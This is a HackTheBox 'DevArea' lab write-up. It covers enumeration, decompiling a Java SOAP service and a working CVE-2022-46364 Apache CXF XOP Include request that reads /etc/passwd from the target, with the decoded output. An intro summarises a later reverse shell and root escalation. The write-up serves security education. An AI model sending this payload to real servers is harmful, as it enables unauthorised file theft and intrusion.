HTB: Devarea

Introduction
Greetings! Today, we're diving into DevArea, a box from HackTheBox.
Our journey begins with an anonymous FTP login that discloses an employee-service.jar file. Decompiling it with jadx reveals a SOAP web service built on Apache CXF running on port 8080. We exploit CVE-2022-46364, an SSRF vulnerability in Apache CXF's XOP Include handling, to read arbitrary files from the server via the file:// URI scheme. We use this to read /etc/passwd and then iterate through /proc/<pid>/cmdline to enumerate all running processes — discovering Hoverfly launching with its admin credentials exposed as command-line arguments.
We use those credentials to authenticate to the Hoverfly Dashboard on port 8888 and configure a malicious middleware script via the API, which executes as dev_ryan and gives us a reverse shell. We drop our SSH key and stabilise the foothold.
For root, dev_ryan can run /opt/syswatch/syswatch.sh as root via sudo. The script uses #!/bin/bash as its shebang, and /usr/bin/bash turns out to be world-writable. We replace it with a malicious wrapper that drops a SUID copy of bash before exec-ing the real one, trigger the sudo command, and own the box.
Without further ado, let's get into it.
Scanning
We ran a full TCP scan with nmap.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.109.198
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 00:00 EDT
Nmap scan report for 10.129.109.198
Host is up (0.15s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open http Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 29 Mar 2026 04:07:06 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 29 Mar 2026 04:06:49 GMT
| Content-Length: 64
|_ This is a proxy server. Does not respond to non-proxy requests.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8500-TCP:V=7.95%I=7%D=3/29%Time=69C8A475%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20
SF:Error\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nDate:\x20Sun,\x2029\x20Mar\x202026\x2004:06:49
SF:\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20ser
SF:ver\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(
SF:HTTPOptions,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x2
SF:0nosniff\r\nDate:\x20Sun,\x2029\x20Mar\x202026\x2004:06:49\x20GMT\r\nCo
SF:ntent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20server\.\x20Does
SF:\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(RTSPRequest,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConte
SF:nt-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\
SF:n400\x20Bad\x20Request")%r(FourOhFourRequest,E9,"HTTP/1\.0\x20500\x20In
SF:ternal\x20Server\x20Error\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sun,\x2029\x20Mar
SF:\x202026\x2004:07:06\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\
SF:x20a\x20proxy\x20server\.\x20Does\x20not\x20respond\x20to\x20non-proxy\
SF:x20requests\.\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.55 seconds
Six open ports. FTP with anonymous login on 21, a web server on 80, a Jetty instance on 8080, a proxy server on 8500, and a Hoverfly Dashboard on 8888. This is a busy box — we'll work through each service systematically.
Enumerating FTP
Anonymous login was permitted, and inside the pub directory we found a JAR file.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ ftp 10.129.109.198
Connected to 10.129.109.198.
220 (vsFTPd 3.0.5)
Name (10.129.109.198:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> bin
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||40106|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||48775|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
229 Entering Extended Passive Mode (|||44376|)
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% |********************************************************************************************************************************************************************************************| 6293 KiB 773.86 KiB/s 00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:08 (760.22 KiB/s)
ftp>
We tried writing files to both pub and the root FTP directory, but both returned Permission denied. The JAR is our main lead.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ echo "Test x40" > test.txt
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$
ftp> pwd
Remote directory: /pub
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||42070|)
550 Permission denied.
ftp> cd ..
250 Directory successfully changed.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||48284|)
550 Permission denied.
ftp>
Enumerating web
devarea.htb on port 80 is a standard corporate landing page with no exploitable functionality. Subdomain fuzzing returned no results. Directory fuzzing only found /assets and /server-status (forbidden).

Port 8888 hosts the Hoverfly Dashboard — a GUI for the Hoverfly proxy tool. We noted this and moved on.

Enumerating the JAR file
We decompiled employee-service.jar with jadx-gui to understand what's running on port 8080.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ jadx-gui ftp/employee-service.jar
The key classes were EmployeeService (a JAX-WS interface), EmployeeServiceImpl (the implementation), Report (a data class with employeeName, department, content, and confidential fields), and ServerStarter which reveals the service address:
package htb.devarea;
import javax.jws.WebService;
/* JADX INFO: loaded from: employee-service.jar:htb/devarea/EmployeeService.class */
@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")
public interface EmployeeService {
String submitReport(Report report);
}
package htb.devarea;
/* JADX INFO: loaded from: employee-service.jar:htb/devarea/EmployeeServiceImpl.class */
public class EmployeeServiceImpl implements EmployeeService {
@Override // htb.devarea.EmployeeService
public String submitReport(Report report) {
String str;
if (report.isConfidential()) {
str = "Report marked confidential. Thank you, " + report.getEmployeeName();
} else {
str = "Report received from " + report.getEmployeeName();
}
String greeting = str;
return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();
}
}
package htb.devarea;
/* JADX INFO: loaded from: employee-service.jar:htb/devarea/Report.class */
public class Report {
private String employeeName;
private String department;
private String content;
private boolean confidential;
public String getEmployeeName() {
return this.employeeName;
}
public void setEmployeeName(String employeeName) {
this.employeeName = employeeName;
}
public String getDepartment() {
return this.department;
}
public void setDepartment(String department) {
this.department = department;
}
public String getContent() {
return this.content;
}
public void setContent(String content) {
this.content = content;
}
public boolean isConfidential() {
return this.confidential;
}
public void setConfidential(boolean confidential) {
this.confidential = confidential;
}
public String toString() {
return "Report{employeeName='" + this.employeeName + "', department='" + this.department + "', content='" + this.content + "', confidential=" + this.confidential + '}';
}
}
package htb.devarea;
import org.apache.cxf.jaxws.JaxWsServerFactoryBean;
/* JADX INFO: loaded from: employee-service.jar:htb/devarea/ServerStarter.class */
public class ServerStarter {
public static void main(String[] args) {
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
}
}
We fetched the WSDL to confirm the service structure.
GET /employeeservice?wsdl HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
The WSDL confirmed a single submitReport operation accepting a report object. We interacted with it to verify it was live.
HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:28:21 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 2751
Server: Jetty(9.4.27.v20200227)
<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
<wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">
<xs:element name="submitReport" type="tns:submitReport"/>
<xs:element name="submitReportResponse" type="tns:submitReportResponse"/>
<xs:complexType name="submitReport">
<xs:sequence>
<xs:element minOccurs="0" name="arg0" type="tns:report"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="report">
<xs:sequence>
<xs:element name="confidential" type="xs:boolean"/>
<xs:element minOccurs="0" name="content" type="xs:string"/>
<xs:element minOccurs="0" name="department" type="xs:string"/>
<xs:element minOccurs="0" name="employeeName" type="xs:string"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="submitReportResponse">
<xs:sequence>
<xs:element minOccurs="0" name="return" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:schema>
</wsdl:types>
<wsdl:message name="submitReport">
<wsdl:part element="tns:submitReport" name="parameters">
</wsdl:part>
</wsdl:message>
<wsdl:message name="submitReportResponse">
<wsdl:part element="tns:submitReportResponse" name="parameters">
</wsdl:part>
</wsdl:message>
<wsdl:portType name="EmployeeService">
<wsdl:operation name="submitReport">
<wsdl:input message="tns:submitReport" name="submitReport">
</wsdl:input>
<wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
</wsdl:output>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
<soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="submitReport">
<soap:operation soapAction="" style="document"/>
<wsdl:input name="submitReport">
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output name="submitReportResponse">
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="EmployeeServiceService">
<wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
<soap:address location="http://devarea.htb:8080/employeeservice"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 435
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:39:06 GMT
Content-Type: text/xml;charset=iso-8859-1
Content-Length: 267
Server: Jetty(9.4.27.v20200227)
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from test. Department: IT. Content: test</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
The service was responding correctly.
CVE-2022-46364 — Apache CXF SSRF to arbitrary file read

The Apache CXF version for this project is 3.2.14.
CVE-2022-46364 is a vulnerability in this version of Apache CXF where MTOM (Message Transmission Optimization Mechanism) requests can include an XOP Include element with an arbitrary href URI. When the href points to a file:// URL, the CXF server fetches the file from the local filesystem and returns its contents embedded in the SOAP response — giving us an unauthenticated arbitrary file read.
We sent the exploit as a multipart/related request with XOP Include referencing /etc/passwd.
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/related; type="application/xop+xml"; boundary="----=_Part_1"; start="<root@example.com>"; start-info="text/xml"
Content-Length: 662
------=_Part_1
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root@example.com>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include
xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
------=_Part_1--
The response returned the file contents base64-encoded inside the <return> tag. Decoding it revealed /etc/passwd, confirming a user dev_ryan with a home directory and login shell.
HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:57:30 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 2919
Server: Jetty(9.4.27.v20200227)
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from test. Department: IT. Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg== | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
